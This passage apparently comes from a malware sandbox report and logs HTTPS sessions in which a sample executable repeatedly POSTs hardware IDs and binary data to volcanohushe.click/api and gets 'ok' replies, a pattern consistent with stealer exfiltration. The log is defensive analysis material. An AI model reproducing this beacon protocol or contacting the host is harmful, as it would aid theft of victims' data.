2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 71 6b 54 4f 50 47 73 6d 51 6f 49 73 4a 7a 7a 30 67 4e 74 43 41 58 42 55 65 61 69 4a 67 4e 4f 4c 71 37 56 6d 63 35 74 6e 79 46 63 39 31 77 34 2f 4f 54 52 57 41 43 6c 33 36 57 63 4a 6d 73 54 44 73 73 54 33 71 51 73 42 6b 49 37 34 38 37 46 33 53 32 51 4b 42 32 6c 46 6e 57 7a 72 4e 42 53 54 2f 43 63 6d 6f 55 69 4c 43 6b 46 78 52 33 55 74 32 67 53 42 79 47 75 7a 64 75 58 64 64 67 67 46 4b 6f 5a 4f 76 7a 6d 32 55 38 46 70 4e 53 6c 6b 54 74 68 47 41 62 48 47 39 6d 73 4a 67 6c 42 4d 65 58 42 30 64 63 73 6b 6d 31 53 37 78 73 74 76 62 53 58 66 67 69 6b 30 61 54 51 48 47 30 53 43 4d 77 46 6b 37 35 6d 46 41 6b 2f 34 6f 71 50 6c 79 47 52 4c 52 65 6c 47 44 58 36 34 64 4a 4a 43 4b 76 52 72 4a 67 6e 61 52 67 4b 77 68 37 56 6f 53 38 4a 54 43 72 72 77 39 76 62 62 64 5a 74 Data Ascii: qkTOPGsmQoIsJzz0gNtCAXBUeaiJgNOLq7Vmc5tnyFc91w4/OTRWACl36WcJmsTDssT3qQsBkI7487F3S2QKB2lFnWzrNBST/CcmoUiLCkFxR3Ut2gSByGuzduXddggFKoZOvzm2U8FpNSlkTthGAbHG9msJglBMeXB0dcskm1S7xstvbSXfgik0aTQHG0SCMwFk75mFAk/4oqPlyGRLRelGDX64dJJCKvRrJgnaRgKwh7VoS8JTCrrw9vbbdZt
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 76 6b 72 4e 42 47 54 2f 43 63 6f 70 73 37 59 42 49 50 78 68 58 62 70 69 59 41 51 6a 37 6c 7a 64 44 52 49 4a 41 67 47 61 77 64 4d 66 66 2b 31 45 45 46 70 64 62 72 33 47 6c 70 42 45 61 54 55 2f 53 74 41 52 31 53 4b 76 69 4b 79 4a 6b 30 32 43 6f 51 37 30 52 31 2f 75 50 65 52 51 65 67 30 36 53 57 4a 32 67 61 43 38 34 63 32 62 4d 67 41 30 51 7a 34 63 48 46 31 79 43 63 49 52 69 6e 46 7a 2b 39 6f 70 64 4e 46 2b 69 45 36 36 63 6b 59 52 77 46 33 56 50 4d 37 7a 46 4e 54 6a 53 75 6b 70 66 62 49 35 67 69 45 4b 4d 58 50 66 7a 67 32 55 30 4b 6f 64 53 6a 67 43 68 71 46 41 66 46 48 4e 4b 6c 4c 51 68 4e 50 2b 72 4d 32 4a 64 6a 32 43 6f 45 37 30 52 31 30 73 76 69 43 43 36 53 6e 4c 54 63 4d 43 34 62 43 6f 74 4c 6b 36 30 72 41 55 45 33 36 4d 50 62 33 53 53 54 49 52 65 72 45 Data Ascii: vkrNBGT/Ccops7YBIPxhXbpiYAQj7lzdDRIJAgGawdMff+1EEFpdbr3GlpBEaTU/StAR1SKviKyJk02CoQ70R1/uPeRQeg06SWJ2gaC84c2bMgA0Qz4cHF1yCcIRinFz+9opdNF+iE66ckYRwF3VPM7zFNTjSukpfbI5giEKMXPfzg2U0KodSjgChqFAfFHNKlLQhNP+rM2Jdj2CoE70R10sviCC6SnLTcMC4bCotLk60rAUE36MPb3SSTIRerE
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 59 53 77 36 75 7a 71 79 62 4f 32 41 52 43 63 4d 62 32 71 41 73 43 45 51 2b 34 73 44 57 30 43 4f 57 4a 56 7a 68 58 44 4c 6c 72 49 38 4b 4c 72 6a 48 75 59 51 6b 54 78 45 4a 69 77 79 64 75 47 67 4b 52 58 69 32 69 74 37 46 4b 5a 55 2f 46 61 67 53 4f 76 37 2b 31 6b 63 45 75 74 75 6b 6c 69 35 69 47 67 6e 4e 45 74 61 72 4a 41 70 4d 4d 2b 48 47 6c 35 6c 74 6e 7a 56 63 39 31 77 62 39 76 2f 41 53 51 47 6a 79 72 44 53 4e 69 41 46 52 73 77 66 6b 2f 6c 6f 44 6b 49 7a 36 73 72 62 31 79 6d 56 4c 51 36 67 47 7a 4c 30 35 38 56 41 43 4b 2f 58 6f 35 6b 6d 61 41 34 4b 78 51 48 57 73 7a 70 4e 42 33 6a 70 30 70 65 50 62 61 34 71 44 4c 38 66 64 38 7a 36 31 46 77 45 70 64 44 72 6a 57 64 33 58 41 48 48 55 34 76 68 4c 67 4a 41 4f 2b 48 4c 33 74 73 67 6e 53 51 5a 72 68 6f 78 39 2b Data Ascii: YSw6uzqybO2ARCcMb2qAsCEQ+4sDW0COWJVzhXDLlrI8KLrjHuYQkTxEJiwyduGgKRXi2it7FKZU/FagSOv7+1kcEutukli5iGgnNEtarJApMM+HGl5ltnzVc91wb9v/ASQGjyrDSNiAFRswfk/loDkIz6srb1ymVLQ6gGzL058VACK/Xo5kmaA4KxQHWszpNB3jp0pePba4qDL8fd8z61FwEpdDrjWd3XAHHU4vhLgJAO+HL3tsgnSQZrhox9+
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 36 4d 50 6c 69 32 6c 70 45 45 61 54 55 39 43 6d 4b 77 78 44 4d 65 4c 46 30 4e 4d 2f 6b 69 6f 4f 72 68 30 2b 38 4f 44 58 52 77 4b 69 33 61 4b 66 4a 57 4d 62 41 63 51 57 6b 2b 39 6f 43 6c 46 34 74 6f 72 32 32 69 61 55 64 6b 62 76 41 33 76 6b 72 4e 42 47 54 2f 43 63 71 35 67 73 5a 42 45 46 78 42 44 42 6f 43 34 66 53 54 58 6b 32 4e 33 63 4b 4a 55 67 45 61 77 61 4d 2f 62 67 78 55 4d 50 71 39 66 72 33 47 6c 70 42 45 61 54 55 2f 43 32 50 67 64 4f 4e 50 6a 42 31 74 51 37 6c 54 31 63 34 56 77 6b 2b 76 32 58 45 68 6d 34 79 36 79 4e 5a 33 64 63 41 63 64 54 69 2b 45 75 42 45 38 2f 36 4d 54 46 30 69 75 58 49 68 57 6d 47 44 33 2b 37 4e 4e 4f 43 4b 33 66 70 35 6b 75 62 52 4d 43 77 68 33 61 72 6d 68 44 43 54 2f 32 69 6f 2b 58 44 49 4d 75 45 4b 4a 63 4b 72 50 31 6c 30 30 Data Ascii: 6MPli2lpEEaTU9CmKwxDMeLF0NM/kioOrh0+8ODXRwKi3aKfJWMbAcQWk+9oClF4tor22iaUdkbvA3vkrNBGT/Ccq5gsZBEFxBDBoC4fSTXk2N3cKJUgEawaM/bgxUMPq9fr3GlpBEaTU/C2PgdONPjB1tQ7lT1c4Vwk+v2XEhm4y6yNZ3dcAcdTi+EuBE8/6MTF0iuXIhWmGD3+7NNOCK3fp5kubRMCwh3armhDCT/2io+XDIMuEKJcKrP1l00
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 39 4a 78 4c 6a 77 4e 33 52 62 55 74 32 6f 34 53 6a 62 67 7a 63 47 58 4d 71 64 6a 58 4b 41 47 64 61 58 56 7a 67 6f 49 70 4a 7a 7a 30 6a 78 70 48 41 48 52 42 64 53 74 4f 51 5a 45 4e 4d 7a 46 30 4d 45 75 6c 79 34 4e 70 6c 41 2b 38 4b 79 5a 43 67 69 77 6e 50 50 53 42 6d 6b 4b 42 65 51 51 77 71 68 6f 51 77 6b 2f 2b 49 71 50 6c 78 50 59 50 78 2b 2f 48 7a 72 73 30 70 63 53 46 70 61 63 6f 49 51 75 66 68 38 51 77 42 37 66 73 42 5a 4e 45 57 79 38 6d 49 57 46 66 34 64 74 41 35 42 53 64 66 79 73 6a 33 4d 57 36 4d 72 72 79 6e 73 67 58 42 53 4c 53 35 50 6d 4b 78 39 62 50 75 33 63 31 4a 41 54 70 67 6f 4b 70 52 73 6c 2b 76 76 59 43 6b 48 6f 30 2b 76 4b 45 43 34 56 41 64 41 43 78 61 77 34 43 67 6b 48 6f 49 72 50 6c 33 58 59 47 42 2b 68 45 6a 4c 72 2f 5a 70 74 47 61 4c 62 Data Ascii: 9JxLjwN3RbUt2o4SjbgzcGXMqdjXKAGdaXVzgoIpJzz0jxpHAHRBdStOQZENMzF0MEuly4NplA+8KyZCgiwnPPSBmkKBeQQwqhoQwk/+IqPlxPYPx+/Hzrs0pcSFpacoIQufh8QwB7fsBZNEWy8mIWFf4dtA5BSdfysj3MW6MrrynsgXBSLS5PmKx9bPu3c1JATpgoKpRsl+vvYCkHo0+vKEC4VAdACxaw4CgkHoIrPl3XYGB+hEjLr/ZptGaLb
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 38 52 43 59 63 64 32 4b 45 76 48 56 38 6a 6f 73 4c 55 7a 54 65 6d 45 7a 65 6a 47 6a 4c 6e 36 39 46 73 4c 2b 69 53 36 35 31 70 4e 69 56 47 67 31 50 73 37 32 67 56 43 57 43 75 2f 39 54 5a 49 35 38 37 44 65 49 30 46 73 66 57 6c 57 59 49 76 5a 36 66 6c 54 6c 2f 46 77 76 48 55 35 33 68 4c 6b 30 52 61 4b 43 4b 30 38 5a 74 77 48 31 4f 39 45 6c 6d 71 72 79 46 56 55 47 78 6e 4c 33 53 63 54 78 53 52 74 6c 54 69 2b 46 76 44 6c 73 71 36 4d 6e 42 31 47 71 6d 45 7a 75 68 47 7a 54 72 2f 4d 42 46 4d 5a 62 4a 71 4a 77 6e 61 51 6f 58 69 31 32 54 72 6d 68 56 63 48 69 6d 69 75 69 5a 62 59 42 74 52 4f 38 70 4e 76 50 69 30 46 77 65 35 66 75 6c 6c 53 68 34 44 42 48 45 55 35 33 68 4c 6b 30 52 61 71 43 4b 30 38 5a 74 77 48 31 4f 39 45 6c 6d 71 72 79 46 56 55 47 78 6e 4c 33 53 63 Data Ascii: 8RCYcd2KEvHV8josLUzTemEzejGjLn69FsL+iS651pNiVGg1Ps72gVCWCu/9TZI587DeI0FsfWlWYIvZ6flTl/FwvHU53hLk0RaKCK08ZtwH1O9ElmqryFVUGxnL3ScTxSRtlTi+FvDlsq6MnB1GqmEzuhGzTr/MBFMZbJqJwnaQoXi12TrmhVcHimiuiZbYBtRO8pNvPi0Fwe5fullSh4DBHEU53hLk0RaqCK08ZtwH1O9ElmqryFVUGxnL3Sc
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 45 46 4a 47 42 4c 78 74 4b 65 4b 43 4b 32 35 64 31 32 43 77 57 76 78 45 36 2b 71 44 51 55 41 6a 6f 6b 75 75 63 61 54 5a 63 42 38 45 44 33 71 34 76 51 55 38 32 34 49 72 49 6d 54 54 59 4f 31 7a 33 54 33 75 39 2f 70 63 53 54 2b 2f 66 75 59 41 76 62 51 6f 46 6a 43 33 74 6a 44 6f 4b 57 54 75 73 2b 39 72 54 4f 34 30 75 44 4b 67 69 43 39 44 2b 30 46 6f 4d 36 75 32 39 6b 53 6c 67 47 30 61 46 55 38 76 68 63 45 31 6b 4b 75 6e 61 31 4a 64 6a 32 43 46 63 39 31 77 34 37 2b 76 48 53 55 4f 76 78 71 7a 53 4e 69 41 46 52 74 31 54 69 2f 4a 6d 54 56 74 34 74 6f 71 51 32 53 43 5a 4c 68 4b 73 44 69 66 37 37 38 46 4a 53 4a 62 69 68 6f 41 75 66 68 39 45 2b 68 37 58 74 7a 30 4f 57 54 2f 51 39 50 72 46 4b 6f 67 75 58 6f 4d 62 4f 50 48 53 36 58 30 65 72 38 7a 70 74 43 70 34 48 30 Data Ascii: EFJGBLxtKeKCK25d12CwWvxE6+qDQUAjokuucaTZcB8ED3q4vQU824IrImTTYO1z3T3u9/pcST+/fuYAvbQoFjC3tjDoKWTus+9rTO40uDKgiC9D+0FoM6u29kSlgG0aFU8vhcE1kKuna1Jdj2CFc91w47+vHSUOvxqzSNiAFRt1Ti/JmTVt4toqQ2SCZLhKsDif778FJSJbihoAufh9E+h7Xtz0OWT/Q9PrFKoguXoMbOPHS6X0er8zptCp4H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49719	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:10 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4WYAIWBAUVIRYKPM89 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12848 Host: volcanohushe.click
2024-12-27 07:15:10 UTC	12848	OUT	Data Raw: 2d 2d 34 57 59 41 49 57 42 41 55 56 49 52 59 4b 50 4d 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 32 46 41 37 37 45 42 41 45 42 32 43 43 42 38 32 34 36 39 32 36 45 35 33 33 43 36 34 44 37 0d 0a 2d 2d 34 57 59 41 49 57 42 41 55 56 49 52 59 4b 50 4d 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 57 59 41 49 57 42 41 55 56 49 52 59 4b 50 4d 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 71 5a 6e 4b 50 2d 2d 63 33 52 6c 64 Data Ascii: --4WYAIWBAUVIRYKPM89Content-Disposition: form-data; name="hwid"F72FA77EBAEB2CCB8246926E533C64D7--4WYAIWBAUVIRYKPM89Content-Disposition: form-data; name="pid"2--4WYAIWBAUVIRYKPM89Content-Disposition: form-data; name="lid"pqZnKP--c3Rld
2024-12-27 07:15:12 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p7f2lrnhatfidn140h5m9mn9f9; expires=Tue, 22 Apr 2025 01:01:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J89GoL8uAN%2FGOi66wvKgUFJwbwttryCTod%2FkPoZ5Vuc0Xll8iz%2Bqx0VTDYzo8JgAxTi3NXwFSqeJYnq41lEyir%2FkXuQMTd%2BfaCRuYJkolxzslBfPhNxZQx8Boyq1xnwnjgoJGho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878499fec043c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1645&rtt_var=619&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13790&delivery_rate=1764350&cwnd=162&unsent_bytes=0&cid=cd48d53b1be3708b&ts=1386&x=0"
2024-12-27 07:15:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:15:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49725	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:13 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3V7OYQ7S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15006 Host: volcanohushe.click
2024-12-27 07:15:13 UTC	15006	OUT	Data Raw: 2d 2d 33 56 37 4f 59 51 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 32 46 41 37 37 45 42 41 45 42 32 43 43 42 38 32 34 36 39 32 36 45 35 33 33 43 36 34 44 37 0d 0a 2d 2d 33 56 37 4f 59 51 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 56 37 4f 59 51 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 71 5a 6e 4b 50 2d 2d 63 33 52 6c 64 33 64 7a 0d 0a 2d 2d 33 56 37 4f 59 51 37 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --3V7OYQ7SContent-Disposition: form-data; name="hwid"F72FA77EBAEB2CCB8246926E533C64D7--3V7OYQ7SContent-Disposition: form-data; name="pid"2--3V7OYQ7SContent-Disposition: form-data; name="lid"pqZnKP--c3Rld3dz--3V7OYQ7SContent-Dispo
2024-12-27 07:15:15 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mv891dei7gukp3vv3u689su3s0; expires=Tue, 22 Apr 2025 01:01:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sHowQUfLw2AgA1PzligxUJWm%2Bzt8w6gIo6RONhGuhf3sv%2FltI%2Bt8lbiGCrFK7MdvD4Cu335PderfbfrXKQr97OmDo4dkM9bHu8vgsRAuVorr3IbCUIDEgFV8j3U9L35N82vPmks%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8784acf9964276-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1591&rtt_var=623&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2842&recv_bytes=15938&delivery_rate=1718658&cwnd=208&unsent_bytes=0&cid=2d7cf577fa1566bf&ts=971&x=0"
2024-12-27 07:15:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:15:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49731	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:16 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VJ30NNYZ15CBSK94 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20570 Host: volcanohushe.click
2024-12-27 07:15:16 UTC	15331	OUT	Data Raw: 2d 2d 56 4a 33 30 4e 4e 59 5a 31 35 43 42 53 4b 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 32 46 41 37 37 45 42 41 45 42 32 43 43 42 38 32 34 36 39 32 36 45 35 33 33 43 36 34 44 37 0d 0a 2d 2d 56 4a 33 30 4e 4e 59 5a 31 35 43 42 53 4b 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 4a 33 30 4e 4e 59 5a 31 35 43 42 53 4b 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 71 5a 6e 4b 50 2d 2d 63 33 52 6c 64 33 64 7a 0d 0a 2d Data Ascii: --VJ30NNYZ15CBSK94Content-Disposition: form-data; name="hwid"F72FA77EBAEB2CCB8246926E533C64D7--VJ30NNYZ15CBSK94Content-Disposition: form-data; name="pid"3--VJ30NNYZ15CBSK94Content-Disposition: form-data; name="lid"pqZnKP--c3Rld3dz-
2024-12-27 07:15:16 UTC	5239	OUT	Data Raw: d1 7c a5 91 90 6c b4 51 98 a9 b7 4a 24 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|lQJ$nInVZ+?:us}Q0u?4E([:s~
2024-12-27 07:15:18 UTC	1140	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=crogeg16iogvu2f9f8mjm3n9ov; expires=Tue, 22 Apr 2025 01:01:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ilQAiOsmWB0StBDnvWJ0NjuWLP2Hb%2Bu86ScuQ5Q3zAq30rv0ONlFBgHbEIpAM%2BD%2Fc%2BMMy4OnIMGSV%2BgrRwEuN37MfTpC96I3OZFDjsz%2B6bZpDJE9FbiY%2Bd1x7N6BamgBRftd0E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8784bdfddc42ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1620&rtt_var=608&sent=14&recv=27&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21532&delivery_rate=1796923&cwnd=221&unsent_bytes=0&cid=96636d601d572863&ts=1573&x=0"
2024-12-27 07:15:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:15:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49742	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQ6UQNRMT0LZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1198 Host: volcanohushe.click
2024-12-27 07:15:19 UTC	1198	OUT	Data Raw: 2d 2d 41 51 36 55 51 4e 52 4d 54 30 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 32 46 41 37 37 45 42 41 45 42 32 43 43 42 38 32 34 36 39 32 36 45 35 33 33 43 36 34 44 37 0d 0a 2d 2d 41 51 36 55 51 4e 52 4d 54 30 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 51 36 55 51 4e 52 4d 54 30 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 71 5a 6e 4b 50 2d 2d 63 33 52 6c 64 33 64 7a 0d 0a 2d 2d 41 51 36 55 51 4e 52 4d 54 30 4c Data Ascii: --AQ6UQNRMT0LZContent-Disposition: form-data; name="hwid"F72FA77EBAEB2CCB8246926E533C64D7--AQ6UQNRMT0LZContent-Disposition: form-data; name="pid"1--AQ6UQNRMT0LZContent-Disposition: form-data; name="lid"pqZnKP--c3Rld3dz--AQ6UQNRMT0L
2024-12-27 07:15:20 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=je2jh5t2rgovdi3qpm20jmhv1o; expires=Tue, 22 Apr 2025 01:01:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OIO4Kn4SO4HtbpOlcciB8w2iiOeXeB6wMZ1F5aV1mMb%2BK8HNbd8fgz%2FqI7D0O0QCmKIR0%2FlxyHtrUHeJjOKaX21ceecXIdNb%2FLIbSRXxsBVMiHIicddd4j54Ktr29R6LA1wfyAU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8784d24c6c43bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2061&min_rtt=2052&rtt_var=789&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2111&delivery_rate=1370248&cwnd=221&unsent_bytes=0&cid=ea9b7c04fb62f686&ts=1107&x=0"
2024-12-27 07:15:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:15:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49750	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:22 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9NJQ355O5H0TX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569831 Host: volcanohushe.click
